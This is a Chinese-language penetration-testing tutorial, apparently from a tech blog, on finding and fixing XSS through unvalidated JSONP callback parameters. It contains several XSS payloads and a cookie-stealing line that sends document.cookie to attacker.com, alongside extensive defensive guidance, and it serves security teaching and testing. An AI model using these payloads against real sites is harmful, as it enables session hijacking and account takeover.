Callback参数安全测试:从JSONP原理到XSS漏洞挖掘与防御
1. 从一次“无害”的Callback请求说起最近在做一个金融类应用的渗透测试客户反复强调他们的前端做了严格的输入过滤和CSP策略常规的反射型XSS和存储型XSS测试都无功而返。就在准备收工写报告说明“前端安全防护良好”时我习惯性地打开了浏览器的开发者工具在Network面板里漫无目的地翻看着那些异步请求。一个不起眼的请求引起了我的注意它的URL路径里包含一个callback参数返回的内容被包裹在一个函数调用里格式是callbackFunction({status: ok, data: {...}})。这太典型了一个用于处理跨域数据请求的JSONP接口。我随手把callback参数的值改成了alert(1)刷新页面什么都没发生。但我没有放弃因为经验告诉我这种“自定义回调函数名”的机制往往是业务逻辑中一个被严重低估的脆弱点它通向的不仅仅是JSONP劫持更可能是一扇通往XSS漏洞的隐秘后门。今天我们就来彻底拆解这个在业务安全测试中极具价值的攻击面Callback自定义测试以及它如何成为触发XSS漏洞的利器。简单来说Callback自定义测试的核心是寻找那些允许前端动态指定回调函数名称的接口。这些接口为了灵活性会将用户输入回调函数名直接拼接到JavaScript响应体中。如果服务端没有对回调函数名进行严格的过滤和校验攻击者就可以注入恶意的JavaScript代码当这段响应被浏览器当作脚本执行时XSS漏洞便触发了。这不同于我们常说的“输入框弹窗”那种XSS它更隐蔽往往存在于API接口、数据加载、跨域脚本等业务核心功能中危害也更大因为它可能直接窃取用户的登录态如Cookie、进行未授权操作甚至结合其他漏洞形成组合拳。无论你是安全工程师、渗透测试人员还是前端/后端开发者理解这个漏洞的成因、挖掘方法和修复方案都至关重要。2. Callback机制的原理与安全盲区为什么这里会出问题要理解漏洞必须先理解特性。Callback机制尤其是JSONPJSON with Padding是早期解决浏览器跨域数据请求的一种“曲线救国”方案。在CORS跨源资源共享标准尚未普及的年代前端开发者发现script标签的src属性不受同源策略限制于是发明了JSONP服务端不再返回纯JSON而是返回一段JavaScript代码这段代码通常是一个函数调用函数名由前端通过查询参数如callback或jsonp指定JSON数据则作为函数的参数。例如一个正常的请求https://api.example.com/getUserInfo?callbackhandleUserData服务端响应handleUserData({name: Alice, id: 123});前端页面早已定义好了handleUserData函数来处理这个数据。安全盲区就诞生在这个“灵活性”上。服务端代码可能会这样写以Node.js为例app.get(/getUserInfo, (req, res) { const callbackName req.query.callback || callback; const userData {name: Alice, id: 123}; // 危险直接将用户输入拼接到响应中 res.setHeader(Content-Type, application/javascript); res.send(${callbackName}(${JSON.stringify(userData)});); });看起来没问题但仔细看第4行callbackName是直接从用户请求的查询参数中获取的。攻击者可以将callback参数设置为alert(1);function x那么响应就会变成alert(1);function x({name: Alice, id: 123});这已经是一段可执行的恶意脚本了。更隐蔽的是如果服务端在拼接前只做了简单的过滤比如只允许“字母数字下划线”攻击依然可能成立。例如回调函数名本身在JavaScript中就有多种合法的表示方法。假设过滤了括号和分号但攻击者传入callbackeval;name服务端可能错误地将其整体作为函数名或者引发其他解析异常最终导致代码执行。注意这里的安全问题根源在于**“将不可信的数据用户输入直接拼接到了可执行的代码上下文JavaScript响应体”**。这与在HTML中拼接用户输入导致XSS的原理如出一辙只是发生的上下文从HTML转移到了JavaScript。许多开发者和初级安全人员会忽略对这类“非主流”输入点的检查认为它们不是传统的表单输入从而留下了巨大的安全缺口。3. 漏洞挖掘实战如何系统性地发现与验证Callback XSS发现了可疑的Callback参数如何验证它确实存在漏洞这需要一个系统性的测试流程不能仅仅试一个alert(1)就下结论。下面是我在实际渗透测试中总结的一套方法。3.1 信息收集与接口识别首先你需要找到这些接口。它们通常出现在以下场景JSONP接口这是最主要的来源。在浏览器开发者工具的Network面板中筛选XHR/Fetch请求寻找响应内容类型Content-Type为application/javascript或text/javascript的请求。查看其URL是否包含callback、jsonp、jsoncallback、cb、function等参数。动态脚本加载一些网站会动态创建script标签来加载数据其src属性可能包含类似的回调参数。API文档如果目标有Swagger/OpenAPI文档仔细查看每个接口的参数说明寻找关于“回调函数”、“JSONP支持”的描述。JS文件分析静态分析前端JavaScript文件搜索诸如callback、JSONP、createElement(script)等关键字可以逆向找到调用这些接口的代码路径。3.2 构造试探性Payload找到目标后不要急于求成。先使用一些无害的Payload来探测服务端的处理逻辑和过滤规则。基础探测将callback参数改为一个简单且合法的函数名观察响应是否正常包裹。例如将callbackhandleData改为callbackmyTest123。如果响应变成了myTest123({...})说明服务端确实原样使用了我们的输入。字符集探测尝试输入一些特殊字符观察哪些被过滤、哪些被转义、哪些被原样输出。这是一个关键步骤。括号与分号callbacktest()或callbacktest;alert。如果括号或分号导致响应格式错误或被过滤说明可能有基础防护。空格与注释callbacktest/**/alert。空格和注释有时可以用于绕过对某些关键词的检测。Unicode与编码尝试URL编码、HTML实体编码等看服务端是否解码。例如callbackeval%28%29eval()的URL编码。边界测试输入超长的字符串、空值、或包含换行符(\n)、制表符(\t)的值查看服务端行为。有时长度限制或处理逻辑错误会导致过滤被绕过。3.3 精心构造攻击Payload如果试探发现用户输入被原样拼接就可以开始构造真正的XSS Payload了。目标是让最终的响应成为一段有效的、能执行的JavaScript代码。案例一直接代码注入假设服务端完全无过滤Payload可以非常简单https://vuln-api.com/data?callbackalert(document.domain);//响应alert(document.domain);//({data:secret});//注释掉了后面原本的JSON数据使得alert语句得以独立执行。案例二利用函数定义与调用有时直接执行语句会被拦截可以尝试将其包裹在函数定义中https://vuln-api.com/data?callbackfunction x(){alert(1)};x响应function x(){alert(1)};x({...});这里我们定义了一个函数x并立即调用它。即使服务端在回调名后自动添加了括号如x({...})因为我们已经在x中完成了恶意操作后面的合法调用可能不影响或可能引发错误但已无关紧要。案例三闭合与重构高级这是应对有一定过滤但逻辑不严谨的情况。假设服务端只允许“字母数字下划线”并且会自动在回调名后添加括号和JSON数据。我们可以这样思考目标是让整个响应结构符合JavaScript语法。我们传入callbackalert。响应是alert({...})。这本身就是一个函数调用但参数是一个对象alert会弹出[object Object]并非我们想要的。我们需要让alert的参数是我们可控的字符串。可以尝试闭合掉原本的JSON对象。如果服务端是字符串拼接我们传入callback1)};alert(1);//。服务端拼接1)};alert(1);//({...})最终响应1)};alert(1);//({...})执行逻辑1)}会先闭合一个可能不存在的函数或语句视上下文而定然后;开始新语句执行alert(1)//注释掉后面所有内容。这种Payload的成功高度依赖于服务端代码的拼接上下文需要反复测试。案例四利用JavaScript解析器特性JavaScript的语法非常灵活。例如你可以用反引号定义模板字符串甚至可以用运算符连接字符串和函数调用。一个有趣的Payload是callbackalert1//如果服务端拼接成alert1//({...})在某些解析上下文中这可能会被解释为用alert函数处理一个模板字符串1。这需要在前端特定的调用方式下才能成功但说明了绕过方式的多样性。提示在实际测试中务必使用console.log或document.write这类无害操作先验证代码执行点确认无误后再升级为窃取Cookiedocument.cookie或发起恶意请求的Payload。并且永远要在授权范围内进行测试。4. 攻击场景深化不止于弹窗Callback XSS的完整利用链一个alert(1)弹窗只是漏洞存在的证明真正的危害在于攻击者能利用它做什么。Callback XSS由于其常出现在数据接口中且可能伴随用户敏感数据其利用价值极高。场景一窃取用户敏感信息与身份凭证这是最直接的危害。攻击者可以构造一个Payload将当前页面的Cookie、LocalStorage中的数据甚至是页面DOM中包含的敏感信息如手机号、地址通过一个Image对象的src属性或Fetch请求发送到攻击者控制的服务器。callbackfunction(){var imgnew Image();img.srchttps://attacker.com/steal?cencodeURIComponent(document.cookie);}//当受害者已登录用户访问被植入恶意Callback的页面或触发该请求时其会话Cookie就会被悄无声息地发送给攻击者导致账户被完全接管。场景二发起未授权操作CSRF配合如果存在Callback XSS的接口本身用于执行某些操作如修改用户设置、发表评论、转账那么XSS可以直接调用该接口以受害者的身份执行操作。更危险的是它可以读取页面中的CSRF Token因为它在同源页面内执行然后构造一个合法的请求完全绕过CSRF防护。场景三组合攻击从Callback到存储型XSS假设一个社交网站用户个人资料页面通过JSONP接口/api/profile?callbackrenderProfile加载数据并且存在Callback XSS。攻击者首先利用反射型Callback XSS获取到管理员的Cookie登录后台。随后他发现后台有一个“公告管理”功能公告内容会通过另一个JSONP接口/api/notice?callbackrenderNotice在全站首页展示。如果这个接口也存在Callback XSS攻击者就可以将恶意Payload写入公告内容。由于公告是存储在全站的所有访问首页的用户都会中招从而将反射型XSS升级为危害范围极广的存储型XSS。场景四绕过CSP内容安全策略现代网站普遍部署CSP来缓解XSS。但如果Callback接口的响应Content-Type是application/javascript并且该脚本是被页面通过script src...方式引用的那么它通常被视为一个合法的脚本来源。如果CSP策略中包含了unsafe-inline或者允许该域名作为脚本源script-src self api.example.com那么通过Callback注入的脚本将可以顺利执行CSP在此形同虚设。这要求我们在制定CSP策略时必须严格限制脚本来源对于JSONP这类动态脚本接口要格外小心。5. 防御之道从开发到运维的全链路加固知道了怎么攻击才能更好地防御。修复Callback XSS漏洞需要开发、安全、运维团队的共同协作。5.1 服务端输入验证与输出编码的黄金法则这是最根本的防御措施。严格的白名单验证不要试图用黑名单过滤“危险字符”总有漏网之鱼。应该为回调函数名定义一个严格的白名单正则表达式。例如只允许由字母、数字、下划线组成的字符串并且长度在合理范围内如1-50个字符。// Node.js 示例 const isValidCallback (name) /^[a-zA-Z0-9_]{1,50}$/.test(name); const callbackName isValidCallback(req.query.callback) ? req.query.callback : defaultCallback;强制使用默认值如果回调函数名不合法不要返回错误或空响应这可能破坏前端功能而是直接使用一个安全的默认值。这确保了接口的健壮性。正确的响应头确保JSONP接口的Content-Type头部明确设置为application/javascript。这有助于浏览器正确解析同时在某些安全策略下明确的内容类型声明也是一种安全实践。弃用JSONP拥抱CORS从架构上解决。对于新项目坚决使用标准的CORS机制来处理跨域请求。CORS由浏览器和服务端协同完成安全性远高于JSONP。向团队普及CORS并制定淘汰JSONP的计划。5.2 前端安全的调用与渲染即使服务端有漏洞前端也能通过一些方式增加攻击难度。使用固定的回调函数名如果业务可能前端不要动态传递回调名而是在前端代码中写死一个安全的函数名。这样攻击者即使修改了URL参数服务端也不会采用。动态脚本加载的安全检查如果必须动态创建script标签加载JSONP在设置src属性前可以对URL中的回调参数进行客户端校验尽管这可以被绕过但能增加门槛。更重要的是要确保加载的脚本来自可信源。隔离与沙箱高级考虑使用iframe沙箱或Worker来执行不可信的JSONP响应限制其访问父页面DOM和Cookie的能力。但这会带来较大的复杂度。5.3 安全设施WAF与监控的最后防线在应用层之外部署的安全设施也能起到缓解作用。Web应用防火墙WAF规则配置WAF规则检测请求中callback、jsonp等参数是否包含明显的JavaScript关键字、括号、分号等。可以设置规则对疑似攻击的请求进行拦截或记录告警。但要注意WAF容易被绕过不能作为主要防御手段。安全监控与日志审计对所有应用接口的访问日志进行集中收集和分析。建立异常检测模型例如同一个接口在短时间内出现大量不同寻常的回调函数名特别是包含攻击特征的应立即产生安全告警。这能帮助你在攻击发生后的第一时间进行响应和溯源。6. 渗透测试报告中的Callback XSS如何有效呈现风险当你为客户或内部团队发现了这类漏洞如何撰写报告才能让他们真正意识到严重性并快速修复清晰定位在漏洞描述中明确指出漏洞类型是“Callback参数未过滤导致的反射型XSS”并附上完整的请求URL和响应截图。避免使用“可能存在XSS”这类模糊表述。重现步骤提供从普通用户视角出发的、一步一步的可视化操作指南。例如“1. 登录系统后打开浏览器开发者工具。2. 在Network面板找到对/api/v1/user/data?callbackxxx的请求。3. 右键该请求选择‘Copy as cURL’。4. 在命令行中将callback参数值修改为alert(document.domain)//并执行。5. 观察浏览器弹出的对话框内容为当前域名。”影响证明不要只展示alert(1)。提供一个概念验证PoC脚本演示如何窃取用户的Cookie并发送到模拟的攻击服务器。这能直观地展示业务风险和数据泄露的可能性。同时要说明受影响的功能模块如“用户资料加载接口”和受影响的数据如“用户身份凭证、个人隐私信息”。风险评级与依据根据漏洞的利用难度低反射型无需交互中需要一定交互高存储型、影响范围单个用户、登录用户、所有用户、可能造成的业务影响信息泄露、权限提升、资金损失进行综合评级如高危、中危。引用OWASP TOP 10或公司内部的安全风险框架作为评级依据。修复建议提供具体、可操作的修复方案最好能分优先级。紧急缓解立即在服务端对该接口的回调参数实施白名单验证附上代码示例。根本解决评估将该接口迁移至CORS方案的技术方案和时间计划。长期加固建议对所有接收回调函数名的接口进行代码审计并考虑在API网关层增加统一的参数安全校验。在我经历过的多个项目中Callback XSS往往是在常规扫描器测试和手动功能测试盲区中被发现的。它要求测试者不仅关注页面上的输入框更要深入理解应用的数据流和前后端交互模式。对于开发者而言建立起“所有外部输入皆不可信”的安全心智并在设计接口时避免将用户输入直接嵌入到代码上下文中是杜绝此类问题的根本。下次当你看到代码中有res.send(callbackName ( data ))这样的拼接时不妨停下来想一想这里是否已经为攻击者打开了一扇窗。

相关新闻

TP-LINK WiFi7 AC+AP组网全解析:从企业级架构到家庭部署实战

TP-LINK WiFi7 AC+AP组网全解析:从企业级架构到家庭部署实战

最近在给家里升级网络时,很多朋友都遇到了一个两难选择:是继续用Mesh路由器“缝缝补补”,还是咬咬牙一步到位上企业级的ACAP方案?前者简单但覆盖和性能总有短板,后者专业但总觉得是公司里才用的东西,配置起…

2026/8/18 12:38:49 阅读更多 →
Excel数据清洗:彻底清除格式的6种方法与4大核心场景解析

Excel数据清洗:彻底清除格式的6种方法与4大核心场景解析

1. 项目概述:为什么“清除格式”是Excel数据处理的关键一步 在Excel的日常使用中,我们常常会遇到这样的场景:从网页、数据库或其他软件复制粘贴过来的数据,带着五花八门的字体、颜色、边框和背景;或者一份历经多人修改…

2026/8/17 10:18:26 阅读更多 →
多智能体协同摘要系统:基于异构调度与强化学习实现可理解性优化

多智能体协同摘要系统:基于异构调度与强化学习实现可理解性优化

1. 项目概述:让每个人都能读懂的智能摘要 “No Reader Left Behind: Multi-Agent Summaries Everyone Can Understand”,这个标题直指当前AI生成内容领域一个普遍却常被忽视的痛点:技术生成的摘要,往往只为技术背景的读者服务&…

2026/8/18 10:40:09 阅读更多 →

最新新闻

JSDebugger 方法调用语法全解:冒号转下划线的规则与 10 个实用示例

JSDebugger 方法调用语法全解:冒号转下划线的规则与 10 个实用示例

JSDebugger 方法调用语法全解:冒号转下划线的规则与 10 个实用示例 【免费下载链接】JSDebugger JavaScript-Based Debugger For Inspecting Running State Of Your Application 项目地址: https://gitcode.com/gh_mirrors/js/JSDebugger 想用 JavaScript 直…

2026/8/18 16:34:01 阅读更多 →
Umi-OCR完整上手指南:免费离线搞定截图识别、批量图片与PDF转文字

Umi-OCR完整上手指南:免费离线搞定截图识别、批量图片与PDF转文字

Umi-OCR完整上手指南:免费离线搞定截图识别、批量图片与PDF转文字 【免费下载链接】Umi-OCR OCR software, free and offline. 开源、免费的离线OCR软件。支持截屏/批量导入图片,PDF文档识别,排除水印/页眉页脚,扫描/生成二维码。…

2026/8/18 16:34:01 阅读更多 →
10分钟语音,真的能训练出专业级AI变声模型?RVC WebUI完整实操指南

10分钟语音,真的能训练出专业级AI变声模型?RVC WebUI完整实操指南

10分钟语音&#xff0c;真的能训练出专业级AI变声模型&#xff1f;RVC WebUI完整实操指南 【免费下载链接】Retrieval-based-Voice-Conversion-WebUI Easily train a good VC model with voice data < 10 mins! 项目地址: https://gitcode.com/GitHub_Trending/re/Retriev…

2026/8/18 16:34:01 阅读更多 →
5步搞定Python表格数据处理:用Tablib把Excel、CSV、JSON之间的数据搬运变成一件顺手的小事

5步搞定Python表格数据处理:用Tablib把Excel、CSV、JSON之间的数据搬运变成一件顺手的小事

5步搞定Python表格数据处理&#xff1a;用Tablib把Excel、CSV、JSON之间的数据搬运变成一件顺手的小事 【免费下载链接】tablib Python Module for Tabular Datasets in XLS, CSV, JSON, YAML, &c. 项目地址: https://gitcode.com/gh_mirrors/ta/tablib 如果你是那种…

2026/8/18 16:34:01 阅读更多 →
PySimpleGUI动态界面更新实战:告别窗口卡顿,三步走通实时刷新

PySimpleGUI动态界面更新实战:告别窗口卡顿,三步走通实时刷新

PySimpleGUI动态界面更新实战&#xff1a;告别窗口卡顿&#xff0c;三步走通实时刷新 【免费下载链接】PySimpleGUI Python GUIs for Humans! Create any GUI simple or complicated in a way thats intuitive. Launched in 2018. NEW for 2026 - the LGPL3 Version 6. Transfo…

2026/8/18 16:34:01 阅读更多 →
零基础也能上手AI股票研究:一个开源工具让普通人也拥有“分析师团队“

零基础也能上手AI股票研究:一个开源工具让普通人也拥有“分析师团队“

零基础也能上手AI股票研究&#xff1a;一个开源工具让普通人也拥有"分析师团队" 【免费下载链接】TradingAgents-CN 基于多智能体LLM的中文金融交易框架 - TradingAgents中文增强版 项目地址: https://gitcode.com/GitHub_Trending/tr/TradingAgents-CN 深夜十…

2026/8/18 16:33:01 阅读更多 →

日新闻

告别逐帧截图:用 extract-video-ppt 快速提取视频中的 PPT 并一键导出 PDF

告别逐帧截图:用 extract-video-ppt 快速提取视频中的 PPT 并一键导出 PDF

告别逐帧截图&#xff1a;用 extract-video-ppt 快速提取视频中的 PPT 并一键导出 PDF 【免费下载链接】extract-video-ppt extract the ppt in the video 项目地址: https://gitcode.com/gh_mirrors/ex/extract-video-ppt 如果你还停留在"看网课 不停暂停 截图 …

2026/8/18 0:00:57 阅读更多 →
思源宋体TTF一站式上手:7个字重免费商用,从下载到上线的完整走查

思源宋体TTF一站式上手:7个字重免费商用,从下载到上线的完整走查

思源宋体TTF一站式上手&#xff1a;7个字重免费商用&#xff0c;从下载到上线的完整走查 【免费下载链接】source-han-serif-ttf Source Han Serif TTF 项目地址: https://gitcode.com/gh_mirrors/so/source-han-serif-ttf 你是不是也经历过这种时刻&#xff1a;设计稿里…

2026/8/18 0:00:58 阅读更多 →
华硕笔记本控制权回收指南:GHelper 如何用一个 10MB 文件替代 Armoury Crate

华硕笔记本控制权回收指南:GHelper 如何用一个 10MB 文件替代 Armoury Crate

华硕笔记本控制权回收指南&#xff1a;GHelper 如何用一个 10MB 文件替代 Armoury Crate 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops with nearly the same functionality. Works with ROG Zephyrus, Flow, TUF, Strix, Scar, ProArt, …

2026/8/18 0:00:59 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者&#xff0c;最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent&#xff0c;从本地部署到云端API&#xff0c;我们正处在一个技术栈快速重构的节点。然而&#xff0c;面对层出不穷的模型、框架和工具&#xf…

2026/8/18 9:15:35 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/18 9:06:28 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。&#x1f34e; 往期回顾关注个人主页&#xff1a;Matlab科研工作室&#x1f447; 关注我领取海量matlab电子书和…

2026/8/18 9:04:56 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速&#xff1a;macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/17 18:54:37 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南&#xff1a;3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗&#xff1f;ncmdump解密工具帮你轻松解决这个困…

2026/8/17 18:55:16 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片&#xff1a;为英语学习 App 打造桌面级学习助手适用平台&#xff1a;HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0&#xff08;API 26 Beta&#xff09;新增了 AgentCard 智能体卡片能力&#xff0c;这是继 HMAF&#xff08;鸿蒙智能体框架&#x…

2026/8/17 18:55:55 阅读更多 →